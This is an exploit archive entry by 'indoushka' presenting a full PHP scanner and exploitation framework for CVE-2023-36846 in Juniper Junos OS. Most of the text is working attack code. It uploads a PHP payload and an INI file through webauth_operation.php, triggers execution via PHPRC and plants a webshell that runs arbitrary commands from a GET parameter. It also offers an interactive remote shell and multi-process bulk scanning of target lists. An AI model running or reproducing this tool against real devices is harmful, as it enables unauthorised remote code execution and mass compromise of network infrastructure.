Share
## https://sploitus.com/exploit?id=PACKETSTORM:214349
=============================================================================================================================================
    | # Title     : Juniper Junos OS 23.4 Modular Scanner & Exploitation Framework                                                              |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://support.juniper.net/support/eol/software/junos/                                                                     |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/213671/ & CVE-2023-36846
    
    [+] Summary    : This PHP script is a modular scanner and exploitation framework targeting Juniper JunOS CVE‑2023‑36846. 
                     It is designed with a clear separation of responsibilities and supports single‑target testing, interactive exploitation, and large‑scale batch scanning.
    
    [+] Key Components & Flow :
    
    Utilities (Utils)
    
    Helpers for screen clearing, URL normalization, and parsing target lists from files.
    
    HTTP Client (HttpClient)
    A reusable cURL wrapper with configurable timeouts, SSL verification, redirects, headers, and POST/GET handling.
    
    [+] Vulnerability Scanner (JunOSVulnerabilityScanner) :
    
    Detects whether the vulnerable endpoint (webauth_operation.php) is accessible.
    
    Attempts controlled file uploads using multiple size heuristics.
    
    Uploads a PHP test payload and an INI file to trigger execution via PHPRC.
    
    Verifies vulnerability by checking for unique execution markers.
    
    Performs cleanup after testing.
    
    [+] Exploitation Module (JunOSExploiter) :
    
    Deploys a functional webshell using the same upload/INI mechanism.
    
    Executes arbitrary commands through the webshell and captures output.
    
    Supports automated cleanup of deployed artifacts.
    
    [+] PoC : 
    
    # Quick Scan
    `php junos_exploit.php -u https://target.com -r -v`
    
    # Interactive Shell
    `php junos_exploit.php -u https://target.com -v`
    
    # Bulk Scan
    `php junos_exploit.php -f targets.txt -t 10 -o results.txt`
    
    # Secure Scan (with SSL)
    `php junos_exploit.php -f targets.txt -s -v`
    
    
    <?php
    
    
    class Utils {
        public static function clearScreen() {
            if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
                system('cls');
            } else {
                system('clear');
            }
        }
        
        public static function parseUrlsFile($filename) {
            $urls = [];
            if (!file_exists($filename)) {
                throw new Exception("File not found: {$filename}");
            }
            
            $lines = file($filename, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
            foreach ($lines as $line) {
                $line = trim($line);
                if (!empty($line) && filter_var($line, FILTER_VALIDATE_URL)) {
                    $urls[] = $line;
                }
            }
            
            return $urls;
        }
        
        public static function normalizeUrl($url) {
            $url = rtrim($url, '/');
            if (!preg_match('#^https?://#', $url)) {
                $url = 'https://' . $url;
            }
            return $url;
        }
    }
    
    class HttpClient {
        private $verifySSL = false;
        private $timeout = 15;
        private $userAgent = 'Mozilla/5.0 (compatible; JunOS-Scanner/1.0)';
        
        public function __construct($options = []) {
            $this->verifySSL = $options['verify_ssl'] ?? false;
            $this->timeout = $options['timeout'] ?? 15;
        }
        
        public function setVerifySSL($verify) {
            $this->verifySSL = $verify;
        }
        
        public function request($url, $method = 'GET', $data = null, $headers = []) {
            $ch = curl_init();
            
            $curlOptions = [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_MAXREDIRS => 3,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_CONNECTTIMEOUT => 5,
                CURLOPT_USERAGENT => $this->userAgent,
                CURLOPT_SSL_VERIFYPEER => $this->verifySSL,
                CURLOPT_SSL_VERIFYHOST => $this->verifySSL ? 2 : 0,
            ];
            
            $defaultHeaders = [];
            if (!isset($headers['Content-Type']) && $method === 'POST') {
                $defaultHeaders[] = 'Content-Type: application/x-www-form-urlencoded';
            }
            
            $allHeaders = array_merge($defaultHeaders, $headers);
            if (!empty($allHeaders)) {
                $curlOptions[CURLOPT_HTTPHEADER] = $allHeaders;
            }
            
            if ($method === 'POST') {
                $curlOptions[CURLOPT_POST] = true;
                if ($data !== null) {
                    if (is_array($data)) {
                        $curlOptions[CURLOPT_POSTFIELDS] = http_build_query($data);
                    } else {
                        $curlOptions[CURLOPT_POSTFIELDS] = $data;
                    }
                }
            }
            
            curl_setopt_array($ch, $curlOptions);
            
            $response = curl_exec($ch);
            $info = curl_getinfo($ch);
            $error = curl_error($ch);
            $errno = curl_errno($ch);
            
            curl_close($ch);
            
            return [
                'success' => $errno === 0,
                'response' => $response,
                'http_code' => $info['http_code'] ?? 0,
                'error' => $error,
                'errno' => $errno,
                'info' => $info,
            ];
        }
    }
    
    class JunOSVulnerabilityScanner {
        private $httpClient;
        private $baseUrl;
        private $verbose;
        private $randomPrefix;
        
        public function __construct($baseUrl, $verbose = false, $verifySSL = false) {
            $this->baseUrl = Utils::normalizeUrl($baseUrl);
            $this->verbose = $verbose;
            $this->randomPrefix = 'wt_' . bin2hex(random_bytes(4));
            $this->httpClient = new HttpClient(['verify_ssl' => $verifySSL]);
            
            if ($verbose) {
                echo "[DEBUG] Scanner initialized for: {$this->baseUrl}\n";
                echo "[DEBUG] Random prefix: {$this->randomPrefix}\n";
            }
        }
        
        public function testUploadEndpoint() {
            $url = $this->baseUrl . "/webauth_operation.php";
            $response = $this->httpClient->request($url);
            
            if ($response['http_code'] === 404 || $response['http_code'] === 403) {
                return false;
            }
            
    
            $testData = ['rs' => 'test'];
            $response = $this->httpClient->request($url, 'POST', $testData);
            
            return $response['http_code'] === 200;
        }
        
        private function attemptUpload($payload, $filename, $mimeType = 'text/html') {
            $uploadUrl = $this->baseUrl . "/webauth_operation.php";
            
            $sizeAttempts = [
                strlen(base64_encode($payload)), 
                strlen($payload), 
                strlen(base64_encode($payload)) * 2, 
            ];
            
            foreach ($sizeAttempts as $csize) {
                $b64Payload = base64_encode($payload);
                $fileData = "data:{$mimeType};base64,{$b64Payload}";
                
                $postData = [
                    'rs' => 'do_upload',
                    'rsargs[0]' => "[{\"fileData\":\"{$fileData}\",\"fileName\":\"{$filename}\",\"csize\":{$csize}}]"
                ];
                
                if ($this->verbose) {
                    echo "[DEBUG] Attempting upload with csize={$csize}\n";
                }
                
                $response = $this->httpClient->request($uploadUrl, 'POST', $postData);
                
                if (!$response['success'] || $response['http_code'] !== 200) {
                    continue;
                }
                
                $patterns = [
                    '/0:\s*\'([^\']+)\'\s*\},/',
                    '/"0":"([^"]+)"/',
                    '/\'0\':\'([^\']+)\'/',
                    '/filename["\']?\s*:\s*["\']?([^"\'\s,]+)/i',
                ];
                
                foreach ($patterns as $pattern) {
                    if (preg_match($pattern, $response['response'], $matches)) {
                        $uploadedFile = $matches[1];
                        
                        if (strpos($uploadedFile, '..') !== false || strpos($uploadedFile, '/') !== false) {
                            continue;
                        }
                        
                        if ($this->verbose) {
                            echo "[DEBUG] Extracted filename: {$uploadedFile}\n";
                        }
                        
                        return $uploadedFile;
                    }
                }
                
                if (strpos($response['response'], 'fileName') !== false) {
                    
                    $jsonMatch = [];
                    if (preg_match('/\{"?0"?:\s*"([^"]+)"\}/', $response['response'], $jsonMatch)) {
                        return $jsonMatch[1];
                    }
                }
            }
            
            return null;
        }
        
        public function testVulnerability() {
            if ($this->verbose) {
                echo "[*] Testing vulnerability for: {$this->baseUrl}\n";
            }
            
            if (!$this->testUploadEndpoint()) {
                if ($this->verbose) {
                    echo "[-] Upload endpoint not accessible\n";
                }
                return false;
            }
            
            $uniqueToken = $this->randomPrefix . '_test_' . bin2hex(random_bytes(4));
            $phpPayload = "<?php echo '[S]' . '{$uniqueToken}' . '[E]'; ?>";
            
            $phpFile = $this->attemptUpload($phpPayload, $this->randomPrefix . '.php');
            
            if ($phpFile === null) {
                if ($this->verbose) {
                    echo "[-] PHP upload failed\n";
                }
                return false;
            }
            
    
            $iniPayload = 'auto_prepend_file="/var/tmp/' . $phpFile . '"';
            $iniFile = $this->attemptUpload($iniPayload, $this->randomPrefix . '.ini', 'text/plain');
            
            if ($iniFile === null) {
    
                $this->attemptCleanup($phpFile, null);
                if ($this->verbose) {
                    echo "[-] INI upload failed\n";
                }
                return false;
            }
            
    
            $testUrl = $this->baseUrl . "/webauth_operation.php?PHPRC=/var/tmp/{$iniFile}";
            $response = $this->httpClient->request($testUrl);
            
            $isVulnerable = false;
            $cleanupFiles = ['php' => $phpFile, 'ini' => $iniFile];
            
    
            if (strpos($response['response'], $uniqueToken) !== false) {
                $isVulnerable = true;
            } else {
    
                $cmdTestUrl = $testUrl . "&0=echo+" . urlencode($uniqueToken);
                $cmdResponse = $this->httpClient->request($cmdTestUrl);
                
                if (strpos($cmdResponse['response'], $uniqueToken) !== false) {
                    $isVulnerable = true;
                } else {
    
                    if (preg_match('/\[S\](.*?)\[E\]/s', $cmdResponse['response'], $matches)) {
                        if (strpos($matches[1], $uniqueToken) !== false) {
                            $isVulnerable = true;
                        }
                    }
                }
            }
            
            $this->attemptCleanup($phpFile, $iniFile);
            
            return $isVulnerable;
        }
        
        private function attemptCleanup($phpFile, $iniFile) {
    
            if ($phpFile) {
                $cleanupUrl = $this->baseUrl . "/webauth_operation.php?PHPRC=/var/tmp/{$iniFile}&delete=1";
                $this->httpClient->request($cleanupUrl);
            }
            
    
            if ($iniFile) {
    
                $emptyIni = '';
                $this->attemptUpload($emptyIni, $iniFile, 'text/plain');
            }
        }
        
        public function getExploitInstance() {
            return new JunOSExploiter($this->baseUrl, $this->verbose, $this->httpClient, $this->randomPrefix);
        }
    }
    
    class JunOSExploiter {
        private $baseUrl;
        private $httpClient;
        private $verbose;
        private $randomPrefix;
        private $uploadedFiles = [];
        
        public function __construct($baseUrl, $verbose, $httpClient, $randomPrefix) {
            $this->baseUrl = $baseUrl;
            $this->httpClient = $httpClient;
            $this->verbose = $verbose;
            $this->randomPrefix = $randomPrefix;
        }
        
        public function deployWebshell() {
            $phpFilename = $this->randomPrefix . '_shell.php';
            $iniFilename = $this->randomPrefix . '_config.ini';
            
    
            $phpPayload = <<<'PHP'
    <?php
    if(isset($_GET['cleanup'])) {
        @unlink(__FILE__);
        if(isset($_GET['ini'])) {
            $iniFile = '/var/tmp/' . basename($_GET['ini']);
            @unlink($iniFile);
        }
        exit;
    }
    if(isset($_GET['cmd'])) {
        echo '[S]';
        system($_GET['cmd']);
        echo '[E]';
    }
    ?>
    PHP;
    
            $scanner = new JunOSVulnerabilityScanner($this->baseUrl, $this->verbose);
            
            $phpFile = $scanner->attemptUpload($phpPayload, $phpFilename);
            if (!$phpFile) {
                throw new Exception("Failed to upload PHP webshell");
            }
            
            $iniPayload = 'auto_prepend_file="/var/tmp/' . $phpFile . '"';
            $iniFile = $scanner->attemptUpload($iniPayload, $iniFilename, 'text/plain');
            
            if (!$iniFile) {
                throw new Exception("Failed to upload INI configuration");
            }
            
            $this->uploadedFiles = [
                'php' => $phpFile,
                'ini' => $iniFile,
                'shell_url' => $this->baseUrl . "/webauth_operation.php?PHPRC=/var/tmp/{$iniFile}"
            ];
            
            $testUrl = $this->uploadedFiles['shell_url'] . "&cmd=whoami";
            $testResponse = $this->httpClient->request($testUrl);
            
            if (!preg_match('/\[S\].*\[E\]/s', $testResponse['response'])) {
                $this->cleanup();
                throw new Exception("Webshell deployed but not functional");
            }
            
            return $this->uploadedFiles;
        }
        
        public function executeCommand($command) {
            if (empty($this->uploadedFiles)) {
                throw new Exception("Webshell not deployed");
            }
            
            $url = $this->uploadedFiles['shell_url'] . "&cmd=" . urlencode($command);
            $response = $this->httpClient->request($url);
            
            if (preg_match('/\[S\](.*?)\[E\]/s', $response['response'], $matches)) {
                return trim($matches[1]);
            }
            
            return $response['response'];
        }
        
        public function cleanup() {
            if (empty($this->uploadedFiles)) {
                return false;
            }
            
            $cleanupUrl = $this->baseUrl . "/webauth_operation.php?PHPRC=/var/tmp/{$this->uploadedFiles['ini']}&cleanup=1&ini={$this->uploadedFiles['ini']}";
            $this->httpClient->request($cleanupUrl);
            
            $this->uploadedFiles = [];
            return true;
        }
        
        public function __destruct() {
            $this->cleanup();
        }
    }
    
    class InteractiveShell {
        private $exploiter;
        private $isWindows;
        
        public function __construct($exploiter) {
            $this->exploiter = $exploiter;
            $this->isWindows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
        }
        
        public function run() {
            echo "\n" . str_repeat("=", 60) . "\n";
            echo "JunOS Interactive Shell\n";
            echo "Type 'exit' or 'quit' to leave (auto-cleanup enabled)\n";
            echo "Type 'clear' to clear screen\n";
            echo "Type 'help' for commands\n";
            echo str_repeat("=", 60) . "\n\n";
            
    
            $stdin = fopen('php://stdin', 'r');
            
            while (true) {
                echo "junos> ";
                $command = trim(fgets($stdin));
                
                if (empty($command)) {
                    continue;
                }
                
                $cmdLower = strtolower($command);
                
                if (in_array($cmdLower, ['exit', 'quit'])) {
                    echo "[*] Exiting and cleaning up...\n";
                    break;
                } elseif ($cmdLower === 'clear') {
                    Utils::clearScreen();
                    continue;
                } elseif ($cmdLower === 'help') {
                    $this->showHelp();
                    continue;
                } elseif ($cmdLower === 'pwd') {
    
                    $command = 'pwd';
                }
                
                try {
                    $result = $this->exploiter->executeCommand($command);
                    echo "[+] Result:\n" . $result . "\n";
                } catch (Exception $e) {
                    echo "[!] Error: " . $e->getMessage() . "\n";
                }
            }
            
            fclose($stdin);
        }
        
        private function showHelp() {
            echo "\nAvailable commands:\n";
            echo "  exit, quit     - Exit shell and cleanup\n";
            echo "  clear          - Clear screen\n";
            echo "  help           - Show this help\n";
            echo "  whoami         - Check current user\n";
            echo "  pwd            - Print working directory\n";
            echo "  id             - Show user/group IDs\n";
            echo "  ls [dir]       - List directory\n";
            echo "  cat <file>     - View file\n";
            echo "  uname -a       - System info\n";
            echo "\n";
        }
    }
    
    class BatchScanner {
        private $threads;
        private $outputFile;
        private $verbose;
        private $verifySSL;
        
        public function __construct($threads = 5, $outputFile = null, $verbose = false, $verifySSL = false) {
            $this->threads = max(1, min($threads, 50));
            $this->outputFile = $outputFile;
            $this->verbose = $verbose;
            $this->verifySSL = $verifySSL;
        }
        
        public function scanUrls($urls) {
            $total = count($urls);
            $vulnerable = 0;
            $results = [];
            
            echo "[*] Starting batch scan with {$this->threads} threads\n";
            echo "[*] Targets: {$total}\n";
            echo "[*] SSL Verification: " . ($this->verifySSL ? "ON" : "OFF") . "\n";
            echo str_repeat("-", 60) . "\n";
            
    
            $chunks = array_chunk($urls, ceil($total / $this->threads));
            $workers = [];
            
            foreach ($chunks as $chunkIndex => $chunk) {
                $pid = pcntl_fork();
                
                if ($pid == -1) {
           
                    die("Could not fork");
                } elseif ($pid) {
                    // Parent process
                    $workers[] = $pid;
                } else {
                    // Child process
                    $childResults = [];
                    foreach ($chunk as $url) {
                        try {
                            $scanner = new JunOSVulnerabilityScanner($url, $this->verbose, $this->verifySSL);
                            $isVuln = $scanner->testVulnerability();
                            
                            if ($isVuln) {
                                $childResults[] = $url;
                                echo "[+] {$url} - VULNERABLE (PID: " . getmypid() . ")\n";
                            } elseif ($this->verbose) {
                                echo "[-] {$url} - NOT vulnerable (PID: " . getmypid() . ")\n";
                            }
                        } catch (Exception $e) {
                            if ($this->verbose) {
                                echo "[!] {$url} - ERROR: " . $e->getMessage() . "\n";
                            }
                        }
                    }
                    
                    $resultFile = sys_get_temp_dir() . '/junos_scan_' . getmypid() . '.tmp';
                    file_put_contents($resultFile, implode("\n", $childResults));
                    exit(0);
                }
            }
            
            foreach ($workers as $pid) {
                pcntl_waitpid($pid, $status);
                
                $resultFile = sys_get_temp_dir() . '/junos_scan_' . $pid . '.tmp';
                if (file_exists($resultFile)) {
                    $childUrls = file($resultFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
                    $results = array_merge($results, $childUrls);
                    unlink($resultFile);
                }
            }
            
            if (empty($workers)) {
                // معالجة متسلسلة
                foreach ($urls as $url) {
                    try {
                        $scanner = new JunOSVulnerabilityScanner($url, $this->verbose, $this->verifySSL);
                        $isVuln = $scanner->testVulnerability();
                        
                        if ($isVuln) {
                            $results[] = $url;
                            echo "[+] {$url} - VULNERABLE\n";
                        } elseif ($this->verbose) {
                            echo "[-] {$url} - NOT vulnerable\n";
                        }
                    } catch (Exception $e) {
                        if ($this->verbose) {
                            echo "[!] {$url} - ERROR: " . $e->getMessage() . "\n";
                        }
                    }
                }
            }
            
            if ($this->outputFile && !empty($results)) {
                file_put_contents($this->outputFile, implode("\n", $results) . "\n", LOCK_EX);
                echo "[*] Results saved to: {$this->outputFile}\n";
            }
            
            echo str_repeat("-", 60) . "\n";
            echo "[*] Scan completed. Vulnerable: " . count($results) . "/{$total}\n";
            
            return $results;
        }
    }
    
    function main() {
        $options = getopt("t:o:f:u:vsrh", [
            "threads:", "output:", "file:", "url:", 
            "verbose", "ssl", "report", "help"
        ]);
        
    
        if (isset($options['h']) || isset($options['help'])) {
            showHelp();
            exit(0);
        }
        
    
        $threads = isset($options['t']) ? (int)$options['t'] : 
                   (isset($options['threads']) ? (int)$options['threads'] : 5);
        $output = isset($options['o']) ? $options['o'] : 
                  (isset($options['output']) ? $options['output'] : null);
        $file = isset($options['f']) ? $options['f'] : 
                (isset($options['file']) ? $options['file'] : null);
        $url = isset($options['u']) ? $options['u'] : 
               (isset($options['url']) ? $options['url'] : null);
        $verbose = isset($options['v']) || isset($options['verbose']);
        $verifySSL = isset($options['s']) || isset($options['ssl']);
        $reportOnly = isset($options['r']) || isset($options['report']);
        
    
        if ($url && $reportOnly) {
            echo "[*] Quick vulnerability check for: {$url}\n";
            $scanner = new JunOSVulnerabilityScanner($url, true, $verifySSL);
            $isVuln = $scanner->testVulnerability();
            
            if ($isVuln) {
                echo "\n[✓] TARGET IS VULNERABLE TO CVE-2023-36846\n";
                exit(0);
            } else {
                echo "\n[✗] Target is NOT vulnerable\n";
                exit(1);
            }
        }
        
    
        if ($url && !$reportOnly) {
            echo "[*] Starting interactive mode for: {$url}\n";
            
            try {
    
                $scanner = new JunOSVulnerabilityScanner($url, true, $verifySSL);
                if (!$scanner->testVulnerability()) {
                    echo "[!] Target does not appear to be vulnerable\n";
                    echo "[?] Continue anyway? (y/N): ";
                    $confirm = trim(fgets(STDIN));
                    if (strtolower($confirm) !== 'y') {
                        exit(1);
                    }
                }
                
                $exploiter = $scanner->getExploitInstance();
                $files = $exploiter->deployWebshell();
                
                echo "[+] Webshell deployed successfully\n";
                echo "[+] PHP file: {$files['php']}\n";
                echo "[+] INI file: {$files['ini']}\n";
                echo "[+] Access URL: {$files['shell_url']}\n\n";
                
                $shell = new InteractiveShell($exploiter);
                $shell->run();
                
            } catch (Exception $e) {
                echo "[!] Error: " . $e->getMessage() . "\n";
                exit(1);
            }
            
            exit(0);
        }
        
        if ($file) {
            try {
                $urls = Utils::parseUrlsFile($file);
                if (empty($urls)) {
                    echo "[!] No valid URLs found in file\n";
                    exit(1);
                }
                
                $scanner = new BatchScanner($threads, $output, $verbose, $verifySSL);
                $results = $scanner->scanUrls($urls);
                
                if (!empty($results)) {
                    echo "\n[*] Vulnerable hosts found:\n";
                    foreach ($results as $vulnUrl) {
                        echo "  - {$vulnUrl}\n";
                    }
                }
                
            } catch (Exception $e) {
                echo "[!] Error: " . $e->getMessage() . "\n";
                exit(1);
            }
            
            exit(0);
        }
        
        echo "[!] Invalid arguments\n";
        showHelp();
        exit(1);
    }
    
    function showHelp() {
        echo <<<HELP
    JunOS CVE-2023-36846 Scanner & Exploit Framework by indoushka
    =============================================================
    
    Usage modes:
      php junos_exploit.php -u URL [OPTIONS]      # Interactive shell
      php junos_exploit.php -u URL -r             # Quick vulnerability check
      php junos_exploit.php -f FILE [OPTIONS]     # Batch scan
    
    Options:
      -u, --url URL        Target URL (https://target.com)
      -f, --file FILE      File containing URLs (one per line)
      -t, --threads N      Threads for batch scan (1-50, default: 5)
      -o, --output FILE    Save vulnerable hosts to file
      -v, --verbose        Enable verbose output
      -s, --ssl            Enable SSL certificate verification
      -r, --report         Report only mode (no exploitation)
      -h, --help           Show this help
    
    Examples:
      # Quick check
      php junos_exploit.php -u https://192.168.1.1 -r -v
      
      # Interactive shell
      php junos_exploit.php -u https://vuln-router.local -v
      
      # Batch scan
      php junos_exploit.php -f targets.txt -t 10 -o vuln.txt -v
      
      # Batch scan with SSL verification
      php junos_exploit.php -f targets.txt -s -o secure_scan.txt
    
    Security Notes:
      • Use only on authorized systems
      • SSL verification is disabled by default for testing
      • Tool performs auto-cleanup after exploitation
      • Random file names prevent collisions
    
    HELP;
    }
    
    if (php_sapi_name() === 'cli') {
    
        $requiredExts = ['curl'];
        $missingExts = [];
        
        foreach ($requiredExts as $ext) {
            if (!extension_loaded($ext)) {
                $missingExts[] = $ext;
            }
        }
        
        if (!empty($missingExts)) {
            echo "[!] Missing PHP extensions: " . implode(', ', $missingExts) . "\n";
            echo "[!] Install with: sudo apt-get install php-curl\n";
            exit(1);
        }
        
        declare(ticks = 1);
        pcntl_signal(SIGINT, function() {
            echo "\n[*] Interrupted by user. Exiting...\n";
            exit(0);
        });
        
        try {
            main();
        } catch (Exception $e) {
            echo "[!] Fatal error: " . $e->getMessage() . "\n";
            exit(1);
        }
    } else {
        header('HTTP/1.1 403 Forbidden');
        echo "This tool must be run from command line\n";
        exit(1);
    }
    
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================